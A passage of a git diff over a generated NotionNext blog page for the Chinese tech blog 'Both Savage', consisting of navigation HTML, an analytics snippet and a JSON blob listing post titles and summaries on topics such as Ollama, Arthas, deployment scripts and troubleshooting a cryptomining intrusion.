href="/article/240119-notion">Notion文章自动同步GitPage</a></div></div></div></div><div class="select-none flex justify-between text-sm font-sans cursor-pointer p-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600"><span>心情随笔</span><div class="inline-flex items-center select-none pointer-events-none "><i class="px-2 fas fa-chevron-left transition-all duration-200 "></i></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/example">示例文章</a></div></div></div></div><div class="select-none flex justify-between text-sm font-sans cursor-pointer p-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600"><span>知行合一</span><div class="inline-flex items-center select-none pointer-events-none "><i class="px-2 fas fa-chevron-left transition-all duration-200 "></i></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/begin">开始</a></div></div></div></div></div></div></div><div class="w-72 fixed left-0 bottom-0 z-20 bg-white"><footer class="z-20 py-2 bg:white dark:bg-hexo-black-gray justify-center text-center w-full text-sm relative"><hr class="pb-2"/><div class="flex justify-center"><div><i class="mx-1 animate-pulse fas fa-heart"></i> <a href="https://bothsavage.github.io/" class="underline font-bold text-gray-500 dark:text-gray-300 ">Both Savage</a>.<br/></div>© <!-- -->2024</div><div class="text-xs font-serif">Powered By <a href="https://github.com/tangly1024/NotionNext" class="underline text-gray-500 dark:text-gray-300">NotionNext</a></div><span class="hidden busuanzi_container_site_pv"><i class="fas fa-eye"></i><span class="px-1 busuanzi_value_site_pv"> </span>  </span><span class="pl-2 hidden busuanzi_container_site_uv"><i class="fas fa-users"></i> <span class="px-1 busuanzi_value_site_uv"> </span> </span><h1 class="pt-1">Both Savage</h1></footer></div></div><div id="center-wrapper" class="flex flex-col justify-between w-full relative z-10 pt-14 min-h-screen"><div id="container-inner" class="w-full px-7 max-w-3xl justify-center mx-auto"><div class="transition ease-in-out duration-700 transform order-first opacity-0 translate-y-16"><div class="mt-10"><div class="w-full justify-center"><div id="posts-wrapper"><div class="undefined py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/example">示例文章</a></div></div></div><div class="my-10 flex justify-between font-medium text-black dark:text-gray-100 space-x-2"><a rel="prev" class="invisible text-center w-full duration-200 px-4 py-2 hover:border-green-500 border-b-2 hover:font-bold" href="/category/%E5%BF%83%E6%83%85%E9%9A%8F%E7%AC%94/page/0">←<!-- -->Prev</a><a rel="next" class="invisible text-center w-full duration-200 px-4 py-2 hover:border-green-500 border-b-2 hover:font-bold" href="/category/%E5%BF%83%E6%83%85%E9%9A%8F%E7%AC%94/page/2">Next<!-- -->→</a></div></div></div></div><div id="jump-to-top" data-aos="fade-up" data-aos-duration="300" data-aos-once="false" data-aos-anchor-placement="top-center" class="fixed xl:right-80 right-2 mr-10 bottom-24 z-20"><i class="fas fa-chevron-up cursor-pointer p-2 rounded-full border bg-white dark:bg-hexo-black-gray"></i></div></div><div class="md:hidden"><footer class="z-20 py-2 bg:white dark:bg-hexo-black-gray justify-center text-center w-full text-sm relative"><hr class="pb-2"/><div class="flex justify-center"><div><i class="mx-1 animate-pulse fas fa-heart"></i> <a href="https://bothsavage.github.io/" class="underline font-bold text-gray-500 dark:text-gray-300 ">Both Savage</a>.<br/></div>© <!-- -->2024</div><div class="text-xs font-serif">Powered By <a href="https://github.com/tangly1024/NotionNext" class="underline text-gray-500 dark:text-gray-300">NotionNext</a></div><span class="hidden busuanzi_container_site_pv"><i class="fas fa-eye"></i><span class="px-1 busuanzi_value_site_pv"> </span>  </span><span class="pl-2 hidden busuanzi_container_site_uv"><i class="fas fa-users"></i> <span class="px-1 busuanzi_value_site_uv"> </span> </span><h1 class="pt-1">Both Savage</h1></footer></div></div><div style="width:32rem" class="hidden xl:block dark:border-transparent relative z-10 "><div class="py-14 px-6 sticky top-0"><div class="py-4"></div></div></div></main><div id="gitbook-left-float" class="fixed top-0 left-0 z-40 md:hidden"><div class="-ml-80 animate__slideOutLeft overflow-y-hidden shadow-card w-72 duration-200 fixed left-1 top-16 rounded py-2 bg-white dark:bg-gray-600"><div class="dark:text-gray-400 text-gray-600 h-96 overflow-y-scroll p-3"><div id="posts-wrapper" class="w-full flex-grow"><div class="select-none flex justify-between text-sm font-sans cursor-pointer p-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600"><span>技术分享</span><div class="inline-flex items-center select-none pointer-events-none "><i class="px-2 fas fa-chevron-left transition-all duration-200 -rotate-90"></i></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240325-ollama">mac体验ollama本地大模型</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240320-arthas">Arthas简单使用备忘录</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240319-xmrig">Xmrig挖矿入侵服务器排查</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240124-deploy">Java部署脚本&amp;重启备份检查&amp;配置环境</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240121-skywaking">解决SkyWalking在gateway中logback链路丢失</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240119-notion">Notion文章自动同步GitPage</a></div></div></div></div><div class="select-none flex justify-between text-sm font-sans cursor-pointer p-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600"><span>心情随笔</span><div class="inline-flex items-center select-none pointer-events-none "><i class="px-2 fas fa-chevron-left transition-all duration-200 "></i></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/example">示例文章</a></div></div></div></div><div class="select-none flex justify-between text-sm font-sans cursor-pointer p-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600"><span>知行合一</span><div class="inline-flex items-center select-none pointer-events-none "><i class="px-2 fas fa-chevron-left transition-all duration-200 "></i></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/begin">开始</a></div></div></div></div></div></div></div></div><div id="left-drawer-background" class="hidden fixed top-0 left-0 z-30 w-full h-full"></div></div><script async="" src="https://www.googletagmanager.com/gtag/js?id=G-XT4YTFWNBG"></script><script async="">
                 window.dataLayer = window.dataLayer || [];
                 function gtag(){dataLayer.push(arguments);}
                 gtag('js', new Date());
                 gtag('config', 'G-XT4YTFWNBG', {
                   page_path: window.location.pathname,
                 });
-              </script></div><script id="__NEXT_DATA__" type="application/json" crossorigin="">{"props":{"pageProps":{"NOTION_CONFIG":{"AUTHOR":"Both Savage","BIO":"talk is cheap","TITLE":"Both Savage","DESCRIPTION":"talk is cheap","LINK":"https://bothsavage.github.io/","THEME":"gitbook","CAN_COPY":"true","SINCE":"2024","CONTACT_EMAIL":"bothsavage@163.com","CUSTOM_MENU":"true","CUSTOM_RIGHT_CLICK_CONTEXT_MENU":"false","LANG":"en-US","THEME_SWITCH":"true","POST_SHARE_BAR_ENABLE":"true"},"notice":null,"siteInfo":{"title":"Both Savage","description":"一个NotionNext搭建的博客","pageCover":"https://www.notion.so/images/page-cover/nasa_robert_stewart_spacewalk_2.jpg","icon":"https://www.notion.so/image/https%3A%2F%2Fprod-files-secure.s3.us-west-2.amazonaws.com%2Feb3e1328-8f32-4ff5-8d18-8ea80020e175%2Fc5ebdc5a-c3fd-403e-906b-17d64db6d01f%2Ffavicon.ico?table=collection\u0026id=3c6ddc29-47df-43f6-a375-de1c3a9cf466\u0026t=3c6ddc29-47df-43f6-a375-de1c3a9cf466\u0026width=800"},"allNavPages":[{"id":"e8fd9138-663d-415d-9684-24343fb3248f","title":"mac体验ollama本地大模型","pageCoverThumbnail":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","category":"技术分享","tags":["工具","推荐","折腾"],"summary":"m1 pro芯片+32g体验了五种大模型本地部署","slug":"article/240325-ollama","pageIcon":"🗒️","lastEditedDate":"2024-03-26T05:49:00.447Z"},{"id":"e013510c-b3a7-4907-b4cd-118b118d30db","title":"Arthas简单使用备忘录","pageCoverThumbnail":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","category":"技术分享","tags":["工具","开发","推荐"],"summary":"Arthas在排查Java应用线上问题的时候有大用处,并且可以是热部署工具,这里我推荐几个我常用的方法","slug":"article/240320-arthas","pageIcon":"🗒️","lastEditedDate":"2024-03-20T04:52:10.213Z"},{"id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","title":"Xmrig挖矿入侵服务器排查","pageCoverThumbnail":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","category":"技术分享","tags":["建站","推荐","开发"],"summary":"叮咚!阿里云提示你,你的服务器正在被攻击!","slug":"article/240319-xmrig","pageIcon":"🗒️","lastEditedDate":"2024-03-19T17:15:42.884Z"},{"id":"38e3f997-dad9-46b8-99bb-d3042488821f","title":"Java部署脚本\u0026重启备份检查\u0026配置环境","pageCoverThumbnail":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","category":"技术分享","tags":["推荐","工具","自动化","微服务"],"summary":"微服务jar包越来越多,每次手动上线的时候都要运行一大堆命令,并且每个人备份的jar包名称目录都不一样。故写了一个脚本规定死流程,并且把脚本配置到环境变量做自动补全。","slug":"article/240124-deploy","pageIcon":"🗒️","lastEditedDate":"2024-01-24T07:18:46.139Z"},{"id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","title":"解决SkyWalking在gateway中logback链路丢失","pageCoverThumbnail":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","category":"技术分享","tags":["推荐","开发","日志","微服务","spring","skywalking"],"summary":"一年半以前,公司就从单体应用逐步迁移到微服务管理。奈何业务绑定太深,一直在两边混合开发。由于迁移到微服务的进程完成了一大半了,之前在单体项目中打的链路追踪就不太好用了。随即想到了SkyWalking,随即发现了一个大坑,那就是在gateway组件中logback日志会丢失TraceId,网上搜了一圈都没有解决问题,我又跑到SkyWalking的issue中搜了一大圈,发现大佬以下回答,还是得自己想办法。","slug":"article/240121-skywaking","pageIcon":"🗒️","lastEditedDate":"2024-01-20T18:52:32.627Z"},{"id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","title":"Notion文章自动同步GitPage","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed\u0026width=800\u0026fmt=webp","category":"技术分享","tags":["建站","推荐","工具","docker","自动化","折腾","git"],"summary":"之前一直使用GitPage+typora+hexo来做文章分享管理,奈何真的麻烦坚持不下去了。Notion是我一直在使用的笔记软件,为了更好的使用Notion我还去看了许多文章。现在Notion已经是我生活的一部分了。最近发现NotionNext,但需要Vercel部署,还需要自己映射域名。所以想着用xx.github.io域名,优雅又方便","slug":"article/240119-notion","pageIcon":"📗","lastEditedDate":"2024-03-19T17:14:00.935Z"},{"id":"d3216be6-1b27-40e7-8677-7404896b7eb6","title":"示例文章","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=d3216be6-1b27-40e7-8677-7404896b7eb6\u0026width=800\u0026fmt=webp","category":"心情随笔","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","slug":"article/example","pageIcon":"🗓️","lastEditedDate":"2024-01-19T06:18:08.580Z"},{"id":"54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","title":"开始","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf\u0026width=800\u0026fmt=webp","category":"知行合一","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","slug":"article/begin","pageIcon":"🏐","lastEditedDate":"2024-01-19T09:15:24.923Z"}],"tagOptions":[{"id":"d9f66761-0396-4e80-be5c-2ab6c7f8ba86","name":"推荐","color":"red","count":8},{"id":"ee932bde-0023-446f-9bb4-17d2022121c9","name":"文字","color":"brown","count":2},{"id":"25b1074b-a3fa-49f5-82cd-a37d85c5666f","name":"工具","color":"pink","count":4},{"id":"1e90f00e-8f1b-4665-8e69-92f0791bde56","name":"开发","color":"pink","count":3},{"id":"2382b30f-9881-4a8b-ae7f-2d34979c4fb9","name":"建站","color":"brown","count":4},{"id":"50765df4-40d8-4098-a1b4-abf97b9ce1d2","name":"docker","color":"gray","count":1},{"id":"114a1313-d952-45e1-8bb5-8bf0b7d3c372","name":"自动化","color":"blue","count":2},{"id":"986f04d2-1cd1-4f47-84ba-2c692e069d93","name":"折腾","color":"purple","count":2},{"id":"88f6276a-b475-4a62-a2b6-438606516ec8","name":"git","color":"default","count":1},{"id":"11c42291-5274-44a7-94a3-f4af3382896b","name":"日志","color":"red","count":1},{"id":"e89abe8e-9228-48f8-8bb0-582d8343eb91","name":"微服务","color":"red","count":2},{"id":"c002f5d1-02d9-41b0-954e-6f6a5978b3e0","name":"spring","color":"purple","count":1},{"id":"9fb08037-26be-4513-a5b2-ada51bcfeb9c","name":"skywalking","color":"blue","count":1}],"categoryOptions":[{"id":"a4dcd33a-34a7-4c33-b9c2-92d3a5248f06","name":"知行合一","color":"pink","count":1},{"id":"8282ff59-f160-40c3-ab7e-6e970a0a64d5","name":"技术分享","color":"purple","count":6},{"id":"edd604ab-fda7-4d9b-964a-e7de536c05a0","name":"心情随笔","color":"orange","count":1}],"customNav":[{"icon":"fas fa-home","name":"主页","to":"//","target":"_self","show":true}],"customMenu":[{"id":"5263856d-837a-4f2d-bfc6-24cbff6c946c","icon":"fab fa-github","date":{"start_date":"2021-03-13"},"type":"Menu","slug":"https://github.com/BOTHSAVAGE","summary":"这是一个指向外部地址的单页","title":"Github","status":"Published","category":"","publishDate":1615593600000,"publishDay":"Mar 13, 2021","lastEditedDate":"2024-01-18T16:12:17.114Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"https://github.com/BOTHSAVAGE","name":"Github","password":"","show":true,"target":"_blank"},{"id":"29e65d89-d04e-4ee3-9a9d-2f8856ed3055","icon":"fas fa-archive","date":{"start_date":"2023-03-23"},"type":"Menu","slug":"#","title":"往期整理","status":"Published","category":"","publishDate":1679529600000,"publishDay":"Mar 23, 2023","lastEditedDate":"2024-01-18T16:12:17.113Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"#","name":"往期整理","password":"","show":true,"subMenus":[{"id":"d88da7cd-eebc-4c92-b9c3-53910376ab83","icon":"fas fa-clock-rotate-left","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/archive","title":"历史归档","status":"Published","category":"","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-18T16:12:17.115Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/archive","name":"历史归档","password":"","show":true},{"id":"7d039e15-c906-470d-b781-943032713368","icon":"fas fa-th","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/category","title":"文章分类","status":"Published","category":"","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-18T16:12:17.114Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/category","name":"文章分类","password":"","show":true},{"id":"e746c4ee-0327-4529-85ac-7059a10091d3","icon":"fas fa-tag","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/tag","title":"文章标签","status":"Published","category":"","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-18T16:12:17.115Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/tag","name":"文章标签","password":"","show":true}]}],"postCount":1,"latestPosts":[{"id":"e8fd9138-663d-415d-9684-24343fb3248f","date":{"start_date":"2024-03-25","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240325-ollama","tags":["工具","推荐","折腾"],"summary":"m1 pro芯片+32g体验了五种大模型本地部署","title":"mac体验ollama本地大模型","status":"Published","publishDate":1711324800000,"publishDay":"Mar 25, 2024","lastEditedDate":"2024-03-26T05:49:00.447Z","lastEditedDay":"Mar 26, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","pageCoverThumbnail":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","tagItems":[{"name":"工具","color":"pink"},{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},{"id":"e013510c-b3a7-4907-b4cd-118b118d30db","date":{"start_date":"2024-03-20","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240320-arthas","tags":["工具","开发","推荐"],"summary":"Arthas在排查Java应用线上问题的时候有大用处,并且可以是热部署工具,这里我推荐几个我常用的方法","title":"Arthas简单使用备忘录","status":"Published","publishDate":1710892800000,"publishDay":"Mar 20, 2024","lastEditedDate":"2024-03-20T04:52:10.213Z","lastEditedDay":"Mar 20, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","pageCoverThumbnail":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","tagItems":[{"name":"工具","color":"pink"},{"name":"开发","color":"pink"},{"name":"推荐","color":"red"}],"password":""},{"id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","date":{"start_date":"2024-03-19","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240319-xmrig","tags":["建站","推荐","开发"],"summary":"叮咚!阿里云提示你,你的服务器正在被攻击!","title":"Xmrig挖矿入侵服务器排查","status":"Published","publishDate":1710806400000,"publishDay":"Mar 19, 2024","lastEditedDate":"2024-03-19T17:15:42.884Z","lastEditedDay":"Mar 19, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","pageCoverThumbnail":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","tagItems":[{"name":"建站","color":"brown"},{"name":"推荐","color":"red"},{"name":"开发","color":"pink"}],"password":""},{"id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","date":{"time_zone":"Asia/Shanghai","start_date":"2024-01-19","start_time":"13:00"},"type":"Post","category":"技术分享","slug":"article/240119-notion","tags":["建站","推荐","工具","docker","自动化","折腾","git"],"summary":"之前一直使用GitPage+typora+hexo来做文章分享管理,奈何真的麻烦坚持不下去了。Notion是我一直在使用的笔记软件,为了更好的使用Notion我还去看了许多文章。现在Notion已经是我生活的一部分了。最近发现NotionNext,但需要Vercel部署,还需要自己映射域名。所以想着用xx.github.io域名,优雅又方便","title":"Notion文章自动同步GitPage","status":"Published","publishDate":1705622400000,"publishDay":"Jan 19, 2024","lastEditedDate":"2024-03-19T17:14:00.935Z","lastEditedDay":"Mar 19, 2024","fullWidth":false,"pageIcon":"📗","pageCover":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=85\u0026fm=jpg\u0026crop=entropy\u0026cs=srgb\u0026t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed\u0026width=800\u0026fmt=webp","tagItems":[{"name":"建站","color":"brown"},{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"docker","color":"gray"},{"name":"自动化","color":"blue"},{"name":"折腾","color":"purple"},{"name":"git","color":"default"}],"password":""},{"id":"38e3f997-dad9-46b8-99bb-d3042488821f","date":{"start_date":"2024-01-24","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240124-deploy","tags":["推荐","工具","自动化","微服务"],"summary":"微服务jar包越来越多,每次手动上线的时候都要运行一大堆命令,并且每个人备份的jar包名称目录都不一样。故写了一个脚本规定死流程,并且把脚本配置到环境变量做自动补全。","title":"Java部署脚本\u0026重启备份检查\u0026配置环境","status":"Published","publishDate":1706054400000,"publishDay":"Jan 24, 2024","lastEditedDate":"2024-01-24T07:18:46.139Z","lastEditedDay":"Jan 24, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","pageCoverThumbnail":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","tagItems":[{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"自动化","color":"blue"},{"name":"微服务","color":"red"}],"password":""},{"id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","date":{"start_date":"2024-01-21","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240121-skywaking","tags":["推荐","开发","日志","微服务","spring","skywalking"],"summary":"一年半以前,公司就从单体应用逐步迁移到微服务管理。奈何业务绑定太深,一直在两边混合开发。由于迁移到微服务的进程完成了一大半了,之前在单体项目中打的链路追踪就不太好用了。随即想到了SkyWalking,随即发现了一个大坑,那就是在gateway组件中logback日志会丢失TraceId,网上搜了一圈都没有解决问题,我又跑到SkyWalking的issue中搜了一大圈,发现大佬以下回答,还是得自己想办法。","title":"解决SkyWalking在gateway中logback链路丢失","status":"Published","publishDate":1705795200000,"publishDay":"Jan 21, 2024","lastEditedDate":"2024-01-20T18:52:32.627Z","lastEditedDay":"Jan 20, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","pageCoverThumbnail":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","tagItems":[{"name":"推荐","color":"red"},{"name":"开发","color":"pink"},{"name":"日志","color":"red"},{"name":"微服务","color":"red"},{"name":"spring","color":"purple"},{"name":"skywalking","color":"blue"}],"password":""}],"posts":[{"id":"d3216be6-1b27-40e7-8677-7404896b7eb6","date":{"start_date":"2024-01-18"},"type":"Post","category":"心情随笔","slug":"article/example","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","title":"示例文章","status":"Published","publishDate":1705536000000,"publishDay":"Jan 18, 2024","lastEditedDate":"2024-01-19T06:18:08.580Z","lastEditedDay":"Jan 19, 2024","fullWidth":false,"pageIcon":"🗓️","pageCover":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=85\u0026fm=jpg\u0026crop=entropy\u0026cs=srgb\u0026t=d3216be6-1b27-40e7-8677-7404896b7eb6","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=d3216be6-1b27-40e7-8677-7404896b7eb6\u0026width=800\u0026fmt=webp","tagItems":[{"name":"建站","color":"brown"},{"name":"文字","color":"brown"},{"name":"推荐","color":"red"}],"password":""}],"category":"心情随笔"},"__N_SSG":true},"page":"/category/[category]","query":{"category":"心情随笔"},"buildId":"xl8RIHPvivYKGN-nsdmr6","runtimeConfig":{"NODE_ENV_API":"prod","THEMES":["example","fukasawa","gitbook","heo","hexo","matery","medium","nav","next","nobelium","plog","simple"]},"isFallback":false,"gsp":true,"scriptLoader":[]}</script></body></html>
\ No newline at end of file
+              </script></div><script id="__NEXT_DATA__" type="application/json" crossorigin="">{"props":{"pageProps":{"NOTION_CONFIG":{"AUTHOR":"Both Savage","BIO":"talk is cheap","TITLE":"Both Savage","DESCRIPTION":"talk is cheap","LINK":"https://bothsavage.github.io/","THEME":"gitbook","CAN_COPY":"true","SINCE":"2024","CONTACT_EMAIL":"bothsavage@163.com","CUSTOM_MENU":"true","CUSTOM_RIGHT_CLICK_CONTEXT_MENU":"false","LANG":"en-US","THEME_SWITCH":"true","POST_SHARE_BAR_ENABLE":"true"},"notice":null,"siteInfo":{"title":"Both Savage","description":"一个NotionNext搭建的博客","pageCover":"https://www.notion.so/images/page-cover/nasa_robert_stewart_spacewalk_2.jpg","icon":"https://www.notion.so/image/https%3A%2F%2Fprod-files-secure.s3.us-west-2.amazonaws.com%2Feb3e1328-8f32-4ff5-8d18-8ea80020e175%2Fc5ebdc5a-c3fd-403e-906b-17d64db6d01f%2Ffavicon.ico?table=collection\u0026id=3c6ddc29-47df-43f6-a375-de1c3a9cf466\u0026t=3c6ddc29-47df-43f6-a375-de1c3a9cf466\u0026width=800"},"allNavPages":[{"id":"e8fd9138-663d-415d-9684-24343fb3248f","title":"mac体验ollama本地大模型","pageCoverThumbnail":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","category":"技术分享","tags":["工具","推荐","折腾"],"summary":"m1 pro芯片+32g体验了五种大模型本地部署","slug":"article/240325-ollama","pageIcon":"🗒️","lastEditedDate":"2024-03-26T05:49:00.447Z"},{"id":"e013510c-b3a7-4907-b4cd-118b118d30db","title":"Arthas简单使用备忘录","pageCoverThumbnail":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","category":"技术分享","tags":["工具","开发","推荐"],"summary":"Arthas在排查Java应用线上问题的时候有大用处,并且可以是热部署工具,这里我推荐几个我常用的方法","slug":"article/240320-arthas","pageIcon":"🗒️","lastEditedDate":"2024-03-20T04:52:10.213Z"},{"id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","title":"Xmrig挖矿入侵服务器排查","pageCoverThumbnail":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","category":"技术分享","tags":["建站","推荐","开发"],"summary":"叮咚!阿里云提示你,你的服务器正在被攻击!","slug":"article/240319-xmrig","pageIcon":"🗒️","lastEditedDate":"2024-03-19T17:15:42.884Z"},{"id":"38e3f997-dad9-46b8-99bb-d3042488821f","title":"Java部署脚本\u0026重启备份检查\u0026配置环境","pageCoverThumbnail":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","category":"技术分享","tags":["推荐","工具","自动化","微服务"],"summary":"微服务jar包越来越多,每次手动上线的时候都要运行一大堆命令,并且每个人备份的jar包名称目录都不一样。故写了一个脚本规定死流程,并且把脚本配置到环境变量做自动补全。","slug":"article/240124-deploy","pageIcon":"🗒️","lastEditedDate":"2024-01-24T07:18:46.139Z"},{"id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","title":"解决SkyWalking在gateway中logback链路丢失","pageCoverThumbnail":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","category":"技术分享","tags":["推荐","开发","日志","微服务","spring","skywalking"],"summary":"一年半以前,公司就从单体应用逐步迁移到微服务管理。奈何业务绑定太深,一直在两边混合开发。由于迁移到微服务的进程完成了一大半了,之前在单体项目中打的链路追踪就不太好用了。随即想到了SkyWalking,随即发现了一个大坑,那就是在gateway组件中logback日志会丢失TraceId,网上搜了一圈都没有解决问题,我又跑到SkyWalking的issue中搜了一大圈,发现大佬以下回答,还是得自己想办法。","slug":"article/240121-skywaking","pageIcon":"🗒️","lastEditedDate":"2024-01-20T18:52:32.627Z"},{"id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","title":"Notion文章自动同步GitPage","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\